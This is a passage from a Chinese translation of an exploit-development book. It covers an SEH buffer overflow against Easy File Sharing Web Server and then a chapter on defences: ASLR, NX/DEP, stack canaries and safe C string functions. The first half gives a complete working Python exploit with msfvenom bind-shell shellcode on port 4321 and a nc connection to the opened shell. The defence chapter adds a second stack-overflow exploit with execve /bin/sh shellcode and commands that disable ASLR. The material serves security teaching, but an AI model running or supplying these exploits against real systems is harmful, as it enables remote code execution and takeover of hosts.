Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk'

s = socket.socket()
s.connect(('192.168.129.128',80))
s.send("GET " + junk + " HTTP/1.0\r\n\r\n") 
s.close()

关闭 Immunity Debugger,重新运行 Easy File Sharing Web Server。以管理员身份运行 Immunity Debugger 并将其附加到fsws,然后运行利用程序。

应用程序崩溃了;让我们使用mona对我们的模式进行一些分析:

!mona findmsp

上述命令的输出可以在以下截图中看到:

所以 nSEH 的偏移应该在4061之后。

通过重新启动应用程序和 Immunity Debugger 来确认:

#!/usr/bin/python
import socket

junk = 'A'*4061
nSEH = 'B'*4
SEH = 'C'*4
pad = 'D'*(5000-4061-4-4)

injection = junk + nSEH + SEH + pad

s = socket.socket()
s.connect(('192.168.129.128',80))
s.send("GET " + injection + " HTTP/1.0\r\n\r\n") 
s.close()

现在,运行利用程序:

按下Shift + F9来绕过异常:

获取 SEH 链(Alt + S):

在堆栈中查找地址04AD6FAC

我们的 B 位于下一个 SEH 中,我们的 C 位于 SEH 中。现在,我们对该应用程序的 SEH 有了控制。

注入 shellcode

这就是shellcode的样子:

现在我们需要为短跳转操作设置nSEH\xeb\x10,并为poppopret操作设置SEH地址。让我们尝试使用mona来找到一个。

首先,在 Immunity Debugger 中设置日志文件位置:

!mona config -set workingfolder c:\logs\%p

然后,提取 SEH 的详细信息:

!mona seh

以下截图显示了上述命令的输出:

我们需要一个没有任何坏字符的地址,所以从c:\logs\fsws\seh.txt中打开日志文件。

选择一个,但记住要避免任何坏字符:

0x1001a1bf : pop edi # pop ebx # ret  |  {PAGE_EXECUTE_READ} [ImageLoad.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\EFS Software\Easy File Sharing Web Server\ImageLoad.dll)

这是我们的 SEH 地址0x1001a1bf

SEH = '\xbf\xa1\x01\x10' 

现在是时候在端口4321上生成和绑定 TCP shellcode 了。

$ msfvenom -p windows/shell_bind_tcp LPORT=4321 -b '\x00\x20\x25\x2b\x2f\x5c' -f python

buf = ""
buf += "\xd9\xf6\xd9\x74\x24\xf4\x58\x31\xc9\xb1\x53\xbb\xbb"
buf += "\x75\x92\x5d\x31\x58\x17\x83\xe8\xfc\x03\xe3\x66\x70"
buf += "\xa8\xef\x61\xf6\x53\x0f\x72\x97\xda\xea\x43\x97\xb9"
buf += "\x7f\xf3\x27\xc9\x2d\xf8\xcc\x9f\xc5\x8b\xa1\x37\xea"
buf += "\x3c\x0f\x6e\xc5\xbd\x3c\x52\x44\x3e\x3f\x87\xa6\x7f"
buf += "\xf0\xda\xa7\xb8\xed\x17\xf5\x11\x79\x85\xe9\x16\x37"
buf += "\x16\x82\x65\xd9\x1e\x77\x3d\xd8\x0f\x26\x35\x83\x8f"
buf += "\xc9\x9a\xbf\x99\xd1\xff\xfa\x50\x6a\xcb\x71\x63\xba"
buf += "\x05\x79\xc8\x83\xa9\x88\x10\xc4\x0e\x73\x67\x3c\x6d"
buf += "\x0e\x70\xfb\x0f\xd4\xf5\x1f\xb7\x9f\xae\xfb\x49\x73"
buf += "\x28\x88\x46\x38\x3e\xd6\x4a\xbf\x93\x6d\x76\x34\x12"
buf += "\xa1\xfe\x0e\x31\x65\x5a\xd4\x58\x3c\x06\xbb\x65\x5e"
buf += "\xe9\x64\xc0\x15\x04\x70\x79\x74\x41\xb5\xb0\x86\x91"
buf += "\xd1\xc3\xf5\xa3\x7e\x78\x91\x8f\xf7\xa6\x66\xef\x2d"
buf += "\x1e\xf8\x0e\xce\x5f\xd1\xd4\x9a\x0f\x49\xfc\xa2\xdb"
buf += "\x89\x01\x77\x71\x81\xa4\x28\x64\x6c\x16\x99\x28\xde"
buf += "\xff\xf3\xa6\x01\x1f\xfc\x6c\x2a\x88\x01\x8f\x44\xa8"
buf += "\x8f\x69\x0e\x3a\xc6\x22\xa6\xf8\x3d\xfb\x51\x02\x14"
buf += "\x53\xf5\x4b\x7e\x64\xfa\x4b\x54\xc2\x6c\xc0\xbb\xd6"
buf += "\x8d\xd7\x91\x7e\xda\x40\x6f\xef\xa9\xf1\x70\x3a\x59"
buf += "\x91\xe3\xa1\x99\xdc\x1f\x7e\xce\x89\xee\x77\x9a\x27"
buf += "\x48\x2e\xb8\xb5\x0c\x09\x78\x62\xed\x94\x81\xe7\x49"
buf += "\xb3\x91\x31\x51\xff\xc5\xed\x04\xa9\xb3\x4b\xff\x1b"
buf += "\x6d\x02\xac\xf5\xf9\xd3\x9e\xc5\x7f\xdc\xca\xb3\x9f"
buf += "\x6d\xa3\x85\xa0\x42\x23\x02\xd9\xbe\xd3\xed\x30\x7b"
buf += "\xe3\xa7\x18\x2a\x6c\x6e\xc9\x6e\xf1\x91\x24\xac\x0c"
buf += "\x12\xcc\x4d\xeb\x0a\xa5\x48\xb7\x8c\x56\x21\xa8\x78"
buf += "\x58\x96\xc9\xa8"

我们的利用程序的结构应该是这样的:

让我们看看我们最终的利用程序:

#!/usr/bin/python
import socket

junk = 'A'*4061
nSEH='\xeb\x10\x90\x90'
SEH = '\xbf\xa1\x01\x10' 
NOPs='\x90'*20

buf = ""
buf += "\xd9\xf6\xd9\x74\x24\xf4\x58\x31\xc9\xb1\x53\xbb\xbb"
buf += "\x75\x92\x5d\x31\x58\x17\x83\xe8\xfc\x03\xe3\x66\x70"
buf += "\xa8\xef\x61\xf6\x53\x0f\x72\x97\xda\xea\x43\x97\xb9"
buf += "\x7f\xf3\x27\xc9\x2d\xf8\xcc\x9f\xc5\x8b\xa1\x37\xea"
buf += "\x3c\x0f\x6e\xc5\xbd\x3c\x52\x44\x3e\x3f\x87\xa6\x7f"
buf += "\xf0\xda\xa7\xb8\xed\x17\xf5\x11\x79\x85\xe9\x16\x37"
buf += "\x16\x82\x65\xd9\x1e\x77\x3d\xd8\x0f\x26\x35\x83\x8f"
buf += "\xc9\x9a\xbf\x99\xd1\xff\xfa\x50\x6a\xcb\x71\x63\xba"
buf += "\x05\x79\xc8\x83\xa9\x88\x10\xc4\x0e\x73\x67\x3c\x6d"
buf += "\x0e\x70\xfb\x0f\xd4\xf5\x1f\xb7\x9f\xae\xfb\x49\x73"
buf += "\x28\x88\x46\x38\x3e\xd6\x4a\xbf\x93\x6d\x76\x34\x12"
buf += "\xa1\xfe\x0e\x31\x65\x5a\xd4\x58\x3c\x06\xbb\x65\x5e"
buf += "\xe9\x64\xc0\x15\x04\x70\x79\x74\x41\xb5\xb0\x86\x91"
buf += "\xd1\xc3\xf5\xa3\x7e\x78\x91\x8f\xf7\xa6\x66\xef\x2d"
buf += "\x1e\xf8\x0e\xce\x5f\xd1\xd4\x9a\x0f\x49\xfc\xa2\xdb"
buf += "\x89\x01\x77\x71\x81\xa4\x28\x64\x6c\x16\x99\x28\xde"
buf += "\xff\xf3\xa6\x01\x1f\xfc\x6c\x2a\x88\x01\x8f\x44\xa8"
buf += "\x8f\x69\x0e\x3a\xc6\x22\xa6\xf8\x3d\xfb\x51\x02\x14"
buf += "\x53\xf5\x4b\x7e\x64\xfa\x4b\x54\xc2\x6c\xc0\xbb\xd6"
buf += "\x8d\xd7\x91\x7e\xda\x40\x6f\xef\xa9\xf1\x70\x3a\x59"
buf += "\x91\xe3\xa1\x99\xdc\x1f\x7e\xce\x89\xee\x77\x9a\x27"
buf += "\x48\x2e\xb8\xb5\x0c\x09\x78\x62\xed\x94\x81\xe7\x49"
buf += "\xb3\x91\x31\x51\xff\xc5\xed\x04\xa9\xb3\x4b\xff\x1b"
buf += "\x6d\x02\xac\xf5\xf9\xd3\x9e\xc5\x7f\xdc\xca\xb3\x9f"
buf += "\x6d\xa3\x85\xa0\x42\x23\x02\xd9\xbe\xd3\xed\x30\x7b"
buf += "\xe3\xa7\x18\x2a\x6c\x6e\xc9\x6e\xf1\x91\x24\xac\x0c"
buf += "\x12\xcc\x4d\xeb\x0a\xa5\x48\xb7\x8c\x56\x21\xa8\x78"
buf += "\x58\x96\xc9\xa8"

injection = junk + nSEH + SEH + NOPs + buf

s = socket.socket()
s.connect(('192.168.129.128',80))
s.send("GET " + injection + " HTTP/1.0\r\n\r\n") 
s.close()

关闭应用程序并重新启动。然后,运行利用程序并在端口4321上运行nc

$ nc 192.168.129.128 4321

上述命令的输出如下所示:

运行正常!

总结

在本章中,我们对一些新的东西进行了真实的场景,即基于 SEH 的缓冲区溢出,并看了如何控制 SEH 并利用它。

到目前为止,我们在本书中所做的只是触及了这种类型的攻击的表面,您应该多加练习,因为这还不是结束。

在下一章中,我们将讨论系统中的安全机制以及如何使您的代码更安全。

第十二章:检测和预防

最后,到了本书的最后一章。在这里,我们将讨论防止缓冲区溢出攻击的安全机制。让我们将这些机制分为三部分:

  • 系统方法

  • 编译器方法

  • 开发者方法

系统方法

在这部分,我们将讨论一些系统内核内置的机制,以防止缓冲区溢出攻击中的 ASLR 等技术。

地址空间布局随机化ASLR)是一种针对溢出攻击的缓解技术,它随机化内存段,从而防止硬编码的利用。例如,如果我想使用返回到库的技术,我必须获取将在攻击中使用的函数的地址。然而,由于内存段的地址是随机化的,唯一的方法就是猜测那个位置,是的,我们使用这种技术来规避 NX 保护,但不能规避 ASLR。

对于安全极客们,不用担心;有许多方法可以规避 ASLR。让我们看看 ASLR 是如何真正工作的。打开你的 Linux 受害机器,并确保 ASLR 已禁用:

$ cat /proc/sys/kernel/randomize_va_space

上述命令的输出可以在以下截图中看到:

由于randomize_va_space的值为0,ASLR 已禁用。如果已启用,请将其设置为0

$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

现在,让我们看看任何应用程序的寻址布局,例如cat

$ cat

然后,打开另一个终端。现在,我们需要使用以下命令获取该进程的 PID:

 $ ps aux | grep cat

上述命令的输出可以在以下截图中看到:

cat的 PID 是5029。让我们获取此进程的内存布局:

$ cat /proc/5029/maps

上述命令的输出可以在以下截图中看到:

现在,停止cat进程使用Ctrl + C,然后再次启动它:

$ cat

然后,从另一个终端窗口运行以下命令:

$ ps aux | grep cat

上述命令的输出可以在以下截图中看到:

现在,cat的 PID 是5164。让我们获取此 PID 的内存布局:

$ cat /proc/5164/maps

上述命令的输出可以在以下截图中看到:

看看两个 PID 的内存布局;它们完全相同。所有东西都是静态分配在内存中的,比如库、堆栈和堆。

现在,让我们启用 ASLR 来看看区别:

$ echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

确保 ASLR 已启用:

$ cat /proc/sys/kernel/randomize_va_space

上述命令的输出可以在以下截图中看到:

然后,让我们启动任何进程,例如cat

$ cat

然后,从另一个终端窗口运行以下命令:

$ ps aux | grep cat

上述命令的输出可以在以下截图中看到:

cat的 PID 是5271。现在,阅读它的内存布局:

$ cat /proc/5271/maps

上述命令的输出可以在以下截图中看到:

现在,让我们停止cat,然后再次运行它:

$ cat

然后,让我们捕获cat的 PID:

$ ps aux | grep cat

上述命令的输出可以在以下截图中看到:

现在,阅读它的内存布局:

$ cat /proc/5341/maps

上述命令的输出可以在以下截图中看到:

让我们比较两个地址。它们完全不同。堆栈、堆和库现在都是动态分配的,所有地址将对每次执行都变得唯一。

现在到下一部分,即编译器方法,比如可执行空间保护和 canary。

编译器方法

可执行空间保护是一种技术,用于将内存中的某些段标记为不可执行,比如堆栈和堆。因此,即使我们成功注入了 shellcode,也不可能使该 shellcode 运行。

在 Linux 中,可执行空间保护被称为不可执行NX),在 Windows 中被称为数据执行防护DEP)。

让我们尝试使用我们在第六章中的例子,缓冲区溢出攻击

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int copytobuffer(char* input)
{
    char buffer[256];
    strcpy (buffer,input);
    return 0;
}

void main (int argc, char *argv[])
{
    int local_variable = 1;
    copytobuffer(argv[1]);
    exit(0);
}

现在,禁用 NX 编译它:

$ gcc -fno-stack-protector -z execstack nx.c -o nx

在 GDB 中打开它:

$ gdb ./nx

然后,让我们运行这个利用:

#!/usr/bin/python
from struct import *

buffer = ''
buffer += '\x90'*232
buffer += '\x48\x31\xc0\x50\x48\x89\xe2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05'
buffer += pack("<Q", 0x7fffffffe2c0)
f = open("input.txt", "w")
f.write(buffer)

执行利用:

$ python exploit.py

在 GDB 中,运行以下命令:

$ run $(cat input.txt)

上述命令的输出可以在以下截图中看到:

现在,让我们尝试启用 NX 的相同利用:

$ gcc -fno-stack-protector nx.c -o nx

然后,在 GDB 中打开它并运行以下命令:

$ run $(cat input.txt)

上述命令的输出可以在以下截图中看到:

那么,为什么代码会卡在这个地址?

因为它甚至拒绝执行我们从栈中的 No Operation (nop),因为栈现在是不可执行的。

让我们谈谈另一种技术,即栈 canary 或栈保护器。栈 canary 用于检测任何企图破坏栈的行为。

当一个返回值存储在栈中时,在存储返回地址之前会写入一个称为canary值的值。因此,任何尝试执行栈溢出攻击的行为都会覆盖canary值,这将导致引发一个标志来停止执行,因为有企图破坏栈的行为:

现在,尝试使用我们之前的例子,但让我们启用栈canary

$ gcc -z execstack canary.c -o canary

然后,在 GDB 中重新运行它并尝试我们的利用:

$ run $(cat input.txt)

上述命令的输出可以在以下截图中看到:

让我们看看为什么它失败了:

它试图将原始 canary 值与存储的值进行比较,但失败了,因为我们用我们的攻击覆盖了原始值:

正如你所看到的,栈破坏已被检测到!

开发者方法

现在到最后一部分,即开发者方法,任何开发者都应该尽其所能保护他们的代码免受溢出攻击。我会谈论 C/C++,但概念仍然是一样的。

首先,在使用任何字符串处理函数时,你应该使用安全函数。下表显示了不安全的函数以及应该使用的替代函数:

不安全函数 安全函数
strcpy strlcpy
strncpy strlcpy
strcat strlcat
strncat strlcat
vsprintf vsnprintfvasprintf
sprintf snprintfasprintf

此外,你应该始终使用sizeof函数来计算代码中缓冲区的大小。尝试通过将其与安全函数混合使用来精确计算缓冲区大小;然后,你的代码现在更安全了。

总结

在本书的最后一章中,我们讨论了操作系统中的一些保护技术,还有一些 C 编译器中的技术,比如 GCC。然后,我们继续讨论如何使你的代码更安全。

这还不是结束。有更多的方法来规避每种保护技术。通过本书,你已经获得了坚实的基础,可以继续你的学习之旅。继续前进,我保证你会掌握这个领域!

posted @ 2024-05-04 14:58  绝不原创的飞龙  阅读(35)  评论(0编辑  收藏  举报